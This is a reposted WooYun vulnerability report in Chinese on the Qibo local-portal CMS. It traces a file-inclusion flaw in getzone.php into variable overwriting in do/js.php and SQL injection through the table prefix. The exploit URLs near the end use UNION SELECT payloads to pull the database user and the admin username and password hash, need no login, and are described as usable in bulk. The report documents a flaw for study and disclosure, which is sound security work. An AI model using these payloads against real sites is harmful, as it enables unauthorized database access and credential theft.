齐博地方门户鸡肋文件包含造成的高危SQL注入

admin 2015年7月18日17:42:02评论575 views字数 229阅读0分45秒阅读模式
摘要

2014-10-24: 细节已通知厂商并且等待厂商处理中
2014-10-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-23: 细节向核心白帽子及相关领域专家公开
2015-01-02: 细节向普通白帽子公开
2015-01-12: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2014-80524

漏洞标题: 齐博地方门户鸡肋文件包含造成的高危SQL注入 齐博地方门户鸡肋文件包含造成的高危SQL注入

相关厂商: 齐博CMS

漏洞作者: phith0n齐博地方门户鸡肋文件包含造成的高危SQL注入

提交时间: 2014-10-24 12:45

公开时间: 2014-12-30 14:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核 白盒测试

8人收藏


漏洞详情

披露状态:

2014-10-24: 细节已通知厂商并且等待厂商处理中
2014-10-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-23: 细节向核心白帽子及相关领域专家公开
2015-01-02: 细节向普通白帽子公开
2015-01-12: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

上个漏洞(http://wooyun.org/bugs/wooyun-2014-080259)忘了说,是可以直接提升为管理的,甚至不用破hash了。
这个洞无需登录可批量,看我是如何化鸡肋为无形的。第三发,齐博一直不确认,不想再放0day了。。。
ps.齐博今天挺火的啊,据说发现了后门?我能告诉你我还发现了其他后门吗。

详细说明:

和以往的故事一样,这个故事很长。有耐心看下去的朋友,且听我娓娓道来。

首先,我和大家说一下齐博cms的架构。齐博cms有一个公共文件inc/common.inc.php,一般的页面都会包含这个文件。在common.inc.php中,将$_GET/$_POST/$_COOKIE变量的值注册为全局变量。之后会再包含一些配置文件,如数据库配置文件data/mysql_config.php等。

因为配置文件包含都在注册全局变量以后,所以一些配置变量是无法覆盖的,比如说数据库前缀$pre,保证了这些变量的安全。

好,那我们来看看问题出在哪。/f/inc/job/getzone.php 25行:

code 区域
if($fup){
$show=select_where("{$pre}zone","'postdb[zone_id]' onChange=/"choose_where('getstreet',this.options[this.selectedIndex].value,'','','$typeid')/"",$fid,$fup);
$show=str_replace("/r","",$show);
$show=str_replace("/n","",$show);
$show=str_replace("'","/'",$show);
echo "<SCRIPT LANGUAGE=/"JavaScript/">
<!--
parent.document.getElementById(/"{$typeid}showzone/").innerHTML='$show';
//-->
</SCRIPT>";

}

如果$fup存在则进入if语句,调用了select_where函数,传入参数$fid、$fup。其中$fid是整数,$fup是字符串。

跟一下select_where看看:

code 区域
function select_where($table,$name='fup',$ck='',$fup=''){
global $db,$city_DB,$pre;
/*
if($fup){
$SQL=" WHERE fup='$fup' ";
}
$query = $db->query("SELECT * FROM $table $SQL ORDER BY list DESC");
while($rs = $db->fetch_array($query)){
$ckk=$ck==$rs[fid]?" selected ":" ";
$show.="<option value='$rs[fid]' $ckk>$rs[name]</option>";
}
*/
if(!$fup){
foreach( $city_DB[name] AS $key=>$value){
$ckk=$ck==$key?" selected ":" ";
$show.="<option value='$key' $ckk>$value</option>";
}
}elseif($fup){
if(strstr($name,'zone')&&is_file(ROOT_PATH."data/zone/$fup.php")){
include(ROOT_PATH."data/zone/$fup.php");
foreach( $zone_DB[name] AS $key=>$value){
$ckk=$ck==$key?" selected ":" ";
$show.="<option value='$key' $ckk>$value</option>";
}
}else{
$query = $db->query("SELECT * FROM $table WHERE fup='$fup' ORDER BY list DESC");
while($rs = $db->fetch_array($query)){
$ckk=$ck==$rs[fid]?" selected ":" ";
$show.="<option value='$rs[fid]' $ckk>$rs[name]</option>";
}
}
}
$title = $table=="{$pre}city"?'全国':'请选择';
return "<select id='$table' name=$name><option value=''>$title</option>$show</select>";
}

我们关键看这两句:

code 区域
if(strstr($name,'zone')&&is_file(ROOT_PATH."data/zone/$fup.php")){
include(ROOT_PATH."data/zone/$fup.php");
...

如果$name中找到zone而且data/zone/$fup.php存在的话,就include进来。

这明显是一个文件包含,因为前面并没有限制$fup。要满足$name中有’zone’也是很简单的,因为传入的$name变量有个typeid是我们可以控制的,typeid=zone即可。

但是,问题来了。这个文件包含是需要截断的,但是我们齐博cms在全局做了addslashes,所以在这里没法截断。

没法截断的话这里就很鸡肋了,只能包含php文件。

那么,怎样化这个鸡肋的包含漏洞于无形?首先想到的肯定是包含后台的文件,造成一个未授权访问。可惜事与愿违,因为这个include是在函数中的,所以我们用GET/POST注册的全局变量没有效果了,所以后台文件的很多变量是未定义的,用不了。

但这个思路是可以继续发散的,因为很多变量未定义用不了,那么我们是不是可以找一处变量定义了的文件?

还有一种思路,是变量覆盖的思路。因为齐博cms注册全局变量的顺序是这样:

1.GET/POST注册为全局变量

2.require_once配置文件,引入系统预设变量

所以,保证了GET/POST注册的变量不会覆盖系统预设的变量。但是我们这里出现了一个文件包含,也就是说我们可以包含某个文件,如果这个文件又一次注册了GET/POST全局变量,而且因为是require_once,所以不会再包含全局配置文件,所以我们就能成功地覆盖系统变量,造成一些安全问题。

结合我刚说的这些思路,我找到了一个文件:/do/js.php,这个文件在齐博整站中也能找到,应该没什么差别,最开始是这两句:

code 区域
<?php
error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");

首先就extract了$_GET数组,并且require_once了data/config.php文件。Data/config.php就是系统预设的文件,但这里因为使用的是require_once,这个文件在之前就包含过一次,所以在这里就不会包含了,所以我们extract的时候,就能够覆盖data/config.php中的系统变量而不会受后面的require_once影响。

继续往下看,在31行的时候又有如下代码:

code 区域
require(dirname(__FILE__)."/"."global.php");
require_once(ROOT_PATH."inc/label_funcation.php");
$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");

包含(没有once)global.php文件,看看这个文件:

code 区域
<?php
require_once(dirname(__FILE__)."/../inc/common.inc.php"); //核心文件

@include_once(ROOT_PATH."data/ad_cache.php"); //广告变量缓存文件
@include_once(ROOT_PATH."data/label_hf.php"); //标签头部与底部变量缓存文件

require_once,所以也不会包含common.inc.php,不受影响。

所以,看到这里发现后面实际上没有包含任何系统配置文件,extract可以覆盖所有以前定义的系统变量。

那么就简单了,$pre(数据库前缀)也是可以覆盖的,所以可以直接覆盖$pre,造成注入。

漏洞证明:

来个官方的报错演示一下吧:

http://**.**.**.**/f/job.php?job=getzone&typeid=zone&fup=../../do/js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=aaa`xxx

齐博地方门户鸡肋文件包含造成的高危SQL注入

说一下这个poc怎么构造的吧。

Job=getzone是为了进入/f/inc/job/getzone.php文件。

Typeid=zone是为了让strstr($name,'zone')为真。

Fup=../../do/js是包含了/do/js.php文件(之所以用../是因为官方似乎有WAF,用../会报错,正常情况下应该用../才对)。、

Id=514125是为了匹配js.php中的一段限制:eregi("^([0-9]+)$",$id)

webdb[web_open]=1,如果不定义的话会提示站点关闭,这里定义一下等于覆盖了全局设置。

webdb[cache_time_js]=-1,如果这个值等于其他值的话js.php会在cache/js/下生成一个id.php文件,导致下次不会执行到SQL语句那里,每次注入都得换id。所以设置成-1.

pre=aaa`xxx,pre就是表前缀,这里就是注入点。

修改一下POC,成为一个可利用的EXP。

数据库用户:

http://**.**.**.**/f/job.php?job=getzone&typeid=zone&fup=../../do/js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,user(),9,10,11,12,13,14,15,16,17,18,19%23

齐博地方门户鸡肋文件包含造成的高危SQL注入

管理员账号密码:

http://**.**.**.**/f/job.php?job=getzone&typeid=zone&fup=../../do/js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,concat%28username,0x23,password%29,9,10,11,12,13,14,15,16,17,18,19%20from%20qb_members%20limit%201%23

齐博地方门户鸡肋文件包含造成的高危SQL注入

Linux下面请将../改成../。

这个地方门户的注入无需登录,直接出数据,可以批量。具体拿来做什么,大家懂得。

修复方案:

过滤文件包含位置。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

漏洞Rank:12 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-10-24 15:25 | Azui ( 实习白帽子 | Rank:61 漏洞数:14 | 人有两件宝,双手和大脑。)

    2

    还有其他后门- -。

  2. 2014-10-28 01:28 | Kuuki ( 普通白帽子 | Rank:175 漏洞数:25 | :P)

    0

    这种厂商...唉

  3. 2015-03-08 22:45 | 明月影 ( 路人 | Rank:12 漏洞数:6 )

    0

    这都可以忽略。写的很详细,好好学一下。

  4. 2015-05-12 04:36 | bobbi ( 路人 | Rank:26 漏洞数:9 )

    0

    asd

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin